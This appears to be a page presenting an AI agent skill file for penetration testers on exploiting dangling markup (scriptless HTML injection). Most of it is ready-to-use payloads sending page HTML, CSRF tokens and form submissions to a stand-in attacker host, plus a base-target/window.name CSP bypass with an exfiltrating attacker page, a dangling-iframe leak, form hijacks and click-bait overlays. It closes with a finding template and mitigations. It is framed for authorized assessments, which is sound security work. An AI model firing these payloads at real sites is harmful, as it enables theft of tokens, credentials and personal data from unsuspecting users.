exploiting-dangling-markup-injection

$npx mdskill add xalgord/xalgorix/exploiting-dangling-markup-injection

- During authorized assessments where you can inject HTML tags but cannot execute JavaScript (XSS blocked/filtered) - When a CSP prevents script execution but still allows markup, CSS, meta tags, forms, or base tags - When a secret (token, PII, CSRF value) is rendered in clear text in the HTML near your injection point - When you can inject into a page that contains a form whose action/fields you want to subvert - When you want to mislead client-side script flow by overriding element IDs/names or JS globals

SKILL.md

.github/skills/exploiting-dangling-markup-injectionView on GitHub ↗
---
name: exploiting-dangling-markup-injection
description: Exploiting dangling markup / scriptless HTML injection to exfiltrate clear-text secrets, steal form data,
  subvert application flow, and bypass CSP when full XSS is not possible. Covers unterminated img/meta/table/link/base
  tags, CSS @import, form/input/textarea/option hijacking, base-tag + window.name CSP evasion, and dangling-iframe leaks.
  Activates when HTML injection is found but JavaScript execution is blocked or filtered.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- dangling-markup
- html-injection
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting Dangling Markup Injection

## When to Use

- During authorized assessments where you can inject HTML tags but cannot execute JavaScript (XSS blocked/filtered)
- When a CSP prevents script execution but still allows markup, CSS, meta tags, forms, or base tags
- When a secret (token, PII, CSRF value) is rendered in clear text in the HTML near your injection point
- When you can inject into a page that contains a form whose action/fields you want to subvert
- When you want to mislead client-side script flow by overriding element IDs/names or JS globals

## Prerequisites

- **Authorization**: Engagement scope covering client-side injection and data exfiltration
- **An HTML injection point**: A reflected/stored sink that renders raw tags (even if JS is filtered)
- **Collaborator/OOB server**: Burp Collaborator or your own endpoint to receive exfiltrated content
- **CSP awareness**: Read the target's CSP to choose a vector it does not block (img vs meta vs CSS vs base)
- **dangling_markup wordlist**: carlospolop/Auto_Wordlists `dangling_markup.txt` for vector fuzzing

## Critical: Variants Most Often Missed

The core idea: inject an UNTERMINATED attribute/tag so the browser swallows
all subsequent HTML (including the secret) up to the next matching quote, and
sends it to your server. Pick a vector your CSP allows.

```html
<!-- 1. Unterminated img src: leaks everything up to the next single quote -->
<img src='http://attacker.example/log?html=

<!-- 2. meta refresh (when img is CSP-blocked); try ftp:// since Chrome blocks http with < or \n -->
<meta http-equiv="refresh" content='0; url=http://attacker.example/log?text=
<meta http-equiv="refresh" content='0;URL=ftp://attacker.example?a=

<!-- 3. CSS @import: sends everything until a ';' -->
<style>@import//attacker.example?

<!-- 4. table background: leaks until the quote closes -->
<table background='//attacker.example?

<!-- 5. base target / base href: redirect forms/links to attacker (needs user click for some) -->
<base target='            <!-- captures HTML until next quote -->
<base href="http://attacker.example/">   <!-- relative form actions now post to attacker -->

<!-- 6. Steal forms: inject a new form header overriding the next form's action -->
<form action='http://attacker.example/steal'>

<!-- 7. button formaction overrides the form's submit target -->
<button name="x" type="submit" formaction="https://attacker.example/steal">click</button>

<!-- 8. Steal clear-text secrets via a new input that swallows text up to next double quote -->
<input type='hidden' name='review_body' value="

<!-- 9. option tag: data captured until </option> -->
<form action=http://attacker.example><input type="submit"><select name=x><option

<!-- 10. noscript form (when JS disabled) covers the page with a giant submit button -->
<noscript><form action=http://attacker.example><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" value=""><textarea name=contents></noscript>
```

CSP bypass with base + window.name (requires one click):

```html
<!-- Injected into the victim (same-origin) page: -->
<a href=http://attacker.example/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
<!-- 'target' captures HTML until the next single quote; that HTML becomes window.name -->
```
```html
<!-- attacker.example/payload.html reads the leaked window.name: -->
<script>
  if (window.name)
    new Image().src='//attacker.example/?'+encodeURIComponent(window.name);
</script>
```

Dangling-iframe leak (read sensitive data placed into an iframe name):

```html
<script>
function cspBypass(win){ win[0].location="about:blank"; setTimeout(()=>alert(win[0].name),500); }
</script>
<iframe src="//victim.example/target.php?email=%22><iframe name=%27"
        onload="cspBypass(this.contentWindow)"></iframe>
```

### How to CONFIRM a hit (avoid false negatives)

- **Exfil fired with secret**: your OOB server receives a request whose query/body contains the HTML chunk between the injection point and the terminating quote — and that chunk contains the target secret (CSRF token, PII). That is a confirmed leak, not just a callback.
- **Form hijack**: submitting the page sends form fields to YOUR endpoint (check your server logs for the field values), proving the action override worked.
- **base/window.name**: after the victim clicks, your payload page receives `window.name` containing the leaked same-origin HTML.
- **Flow subversion**: the injected hidden input/ID override changes the app's behavior (e.g., share-with target becomes attacker), verifiable in the resulting request.
- Watch for browser quirks: Chrome blocks `http:` URLs containing `<` or newline, so prefer `ftp://` or other schemes; verify the vector against the target's actual CSP rather than assuming.

## Workflow

### Step 1: Confirm HTML Injection Without JS
Inject a benign marker tag (e.g., `<b>x</b>` or `<img src=//collab>`) and verify it renders as markup. Confirm script execution is actually blocked (CSP or filtering) so dangling markup is the right approach.

### Step 2: Locate the Secret Relative to the Injection
Identify what sensitive content (CSRF token, email, API key) appears AFTER your injection point in the HTML — that is what an unterminated tag will capture.

### Step 3: Choose a CSP-Compatible Vector
```text
img-src blocks images?      -> use <meta http-equiv=refresh> or CSS @import or <table background>
http blocked with < or \n?  -> use ftp:// scheme
need form data?             -> inject <form action=...> / <button formaction> / new <input>
strict CSP, allow click?    -> base target + window.name technique
```

### Step 4: Fire the Exfiltration
```html
<!-- Example: leak everything up to next quote into your server -->
<img src='https://collab.example/log?html=
```
Watch your collaborator/OOB logs for the captured chunk.

### Step 5: Steal Forms & Subvert Flow
```html
<!-- Override the next form's action -->
<form action='https://attacker.example/steal'>
<!-- Or inject a field/value that changes app behavior -->
<input type="hidden" name="invite_user" value="attacker" />
<input type="hidden" id="share_with" value="attacker" />
```

### Step 6: CSP Bypass via base + window.name
Deliver the click-bait link with the trailing `<base target='` so the same-origin HTML (including secrets) is stored into `window.name`; read it from your payload page after the click.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Dangling Markup** | Unterminated tag/attribute that swallows following HTML up to the next quote/terminator |
| **Scriptless Exfiltration** | Leaking data without JS using img/meta/CSS/table/base requests |
| **Form Hijacking** | Injecting a form header/`formaction`/field to redirect or subvert submitted data |
| **base Tag Abuse** | `<base href>` redirects relative form/link targets; `<base target>` captures HTML |
| **window.name CSP Bypass** | base target stores same-origin HTML into window.name, read by an attacker page after a click |
| **Dangling Iframe** | Forcing sensitive data into an iframe's `name`, then reading it cross-context |
| **noscript Form** | Full-page submit overlay that works when JavaScript is disabled |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Collaborator / OOB server** | Receive exfiltrated HTML chunks and form submissions |
| **Auto_Wordlists/dangling_markup.txt** | Fuzz dangling-markup vectors against an injection point |
| **HTTPLeaks (cure53)** | Catalog of HTML elements that force outbound connections |
| **Browser devtools** | Inspect how the parser consumes the unterminated tag and what gets captured |
| **CSP evaluators** | Determine which vectors (img/meta/CSS/base) the target policy permits |

## Common Scenarios

### Scenario 1: CSRF Token Exfiltration
HTML injection lands just before a hidden CSRF token field. Injecting `<img src='//collab?html=` captures the markup up to the next quote — including the token — and sends it to the attacker, enabling CSRF.

### Scenario 2: Password Form Theft Under CSP
A page with a strict CSP forbids scripts. Injecting `<form action='//attacker/steal'>` before the login form makes the browser submit the credentials to the attacker when the user logs in (as in the Mastodon CSP-bypass research).

### Scenario 3: base + window.name CSP Evasion
In a CSP-locked same-origin page, a click-bait link plus trailing `<base target='` stores the page's secret HTML into `window.name`; the attacker's clicked page reads `window.name` and exfiltrates it.

## Output Format

```
## Dangling Markup Injection Finding

**Vulnerability**: Scriptless HTML Injection / Dangling Markup (data exfiltration under CSP)
**Severity**: High (CVSS 7.4)
**Location**: GET /review?comment= (reflected HTML injection)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Confirm <b>x</b> renders and that CSP blocks script execution
2. Inject: <img src='https://collab.example/log?html=
3. Browser sends all HTML up to the next single quote to the collaborator
4. Captured chunk contains the CSRF token rendered after the injection point

### Evidence
| Vector | Result |
|--------|--------|
| <img src='...?html= | OOB request received |
| Captured content | includes name="csrf" value="<leaked>" |
| CSP | script-src blocked; img-src permitted |

### Impact
Clear-text secret exfiltration and form theft without JavaScript, bypassing the
CSP and enabling CSRF / credential capture.

### Recommendation
1. Context-aware output encoding for all reflected/stored HTML; do not allow raw tags
2. Use an allowlist HTML sanitizer (e.g., DOMPurify) that strips dangling/unterminated markup
3. Tighten CSP: restrict img-src, style-src, form-action, and base-uri to 'self'
4. Set base-uri 'none' or 'self' and form-action 'self' to neutralize base/form hijacking
5. Avoid rendering secrets (tokens, PII) inline in HTML near user-controlled content
```

More from xalgord/xalgorix